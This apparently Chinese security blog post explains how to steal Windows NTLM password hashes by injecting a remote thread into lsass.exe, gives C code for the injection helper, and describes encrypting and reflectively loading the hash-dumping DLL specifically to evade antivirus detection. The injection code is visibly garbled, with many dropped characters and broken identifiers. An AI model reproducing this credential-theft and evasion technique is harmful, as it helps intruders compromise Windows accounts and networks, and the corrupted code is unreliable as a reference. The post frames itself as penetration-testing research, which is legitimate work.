探索黑客技术攻防,实战研究与安全创新

导航菜单

编程实现Windows用户密码Hash值的抓取

在内网渗透测试过程中,获取Windows用户密码Hash值后,将能够继续破解明文密码、Hash注入等后续动作,因此,密码Hash值具有较大的价值。Windows系统中存在的用户密码信息一般是以NTLMHash值的信息存在,只有负责用户权限管理的关键系统进程lsass.exe能够拥有权限获取。因此,本文主要探讨注入lsass进程读取Hash值的编程实现;关于远程注入的权限等其他问题,不在本文的讨论范围之列。

远程注入lsass进程

关于远程注入的基本原理就不赘述了,关键说一下实现过程中发现的问题。在WindowsVista以上版本,时常会遇到CreateRemoteThread调用出错

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。

在实现过程中发现,Vista以后版本按照常规方法调用CreateRemoteThread函数,通常返回的错误代码为“errorcode-8存储空间不足”,无法执行此命令。通过搜索,搞懂了其中原理,实现了函数MyCreatReoteThread函数,具体原理,可百度“win7CreateRemoteThread”关键词学习,这里给出实现代码。

HANDreateRemoteThread(HANDLEhProcess,LPTHREAD_START_ROUTINE

pTroc,LPVOIDpRemoteBuf)

{

HANDLE

head=NULL;

pFunc=NULL;

FARPROC

f(IsVistaOrLater())

//vista以后操作系统的版本

{

printf(wint/vista\n);

pFunc=GetProcAddress(GetModuleHandleA(ntdll.dll),

tCreateThreadEx);

f(pFunc==NULL)

{

pintf(MyCrmoteThread():GetProcAddress调用失败!错误代

码:[%d]/n,

etLastError());

returnhThread;

}

((PFNTCREATETHREADEX)pFunc)(&hThread,

0x1FFFFF,

NULL,

hProcess,

pThreadProc,

pRemoteBuf,

ALSE,

NULL,

ULL,

NULL,

NULL);

f(hhread==NULL)

{

printf(MyCreateRemoteThread():NtCreateThreadEx()调用失败!错

误代码:[%d]/n,GetLastError());

returnhThread;

}

}

else

{

//2000,XP,Server2003

head=CreateRemoteThread(hProcess,

NULL,

0,

pThreadProc,

pRemoteBuf,

0,

NULL);

if(hThread==NULL)

{

printf(MyCreateRemoteThread():CreateRemoteThread()调用失败!

错误代码:[%d]/n,GetLastError());

returnhThread;

}

}

f(IT_FAILED==WaitForSingleObject(hThread,INFINITE))

{

printf(MyCreateRemoteThread():WaitForSingleObject()调用失败!错误代码:[%d]/n,GetLastError());

retuhThread;

}

returnhThread;

}

远程线程所做的工作-----一切为了躲避查杀

远程线程在lsass进程中启动后,主要是调用一系列函数读取用户Hash值信息,这段代码形式固定单一,如果集成在远程线程代码中,或者生成以DLL的文件形式存在,很容易被定位查杀。我采取的方式是这部分核心代码编译为DLL并导出,进行随机秘钥加密后,以整体逐字节输出为数组形式,嵌入代码中编译生成。如图2所示,pData为加密后的DLL代码数组,pKey为解密秘钥。

B7.png

通过这样将DLL加密集成到自身代码中,运行时,通过解密数据→解析PE格式加载到内存正确位置→修复重定位项→修复导入表四个步骤,实现了LoadLibray的大部分功能(没实现调用dllMain函数),随后调用导出函数即可。

题外话----x86/x64的统一编程问题

在这里和大家探讨一下x86/x64两种程序编写上的区别处理与统一问题。地址长度问题。在64位环境下,内存地址的长度为64位,编程上就应该表现为_int64,区别于32位下的DWORD。在编程的时候,以上区别主要麻烦是在PE结构解析时绝对地址的计算上,总不能为x86/x64下各准备一套函数吧。幸运的是,VC内给出了长度可变的定义:

#ifdefined(_WIN64)

typedesigned__int64ULONG_PTR,*PULONG_PTR;

#else

typdef_W64unsignedlongULONG_PTR,*PULONG_PTR;

#edif

通过预定义的宏,编程时将所有绝对地址的表述定义为ULONG_PTR就能解决内存地址长度的问题。

重定位项的区别。按照PE重定位结构的定义,每个重定位块的表项是一个代表四字节的相对偏移地址,其高3位bit位如果为0,代表其无意义,该项忽略。实际上我们遇到最多的情况是高3位bit为3,如图3所示。

B8.png

这是我们最熟悉的32位程序,但在64位程序下,这个值就变为了10,如图4所示。

B9.png

因此,在编写PE重定位项的处理代码中,需要注意这一点。

获取用户/Hash值的核心代码

获取Hash的函数是一些未文档化的函数,从samsrv.dll导出,具体原理本人也不是很清楚,偶尔得到,拿出来大家一起学习,希望有人一起探讨。具体代码请参看附件,不多加赘述。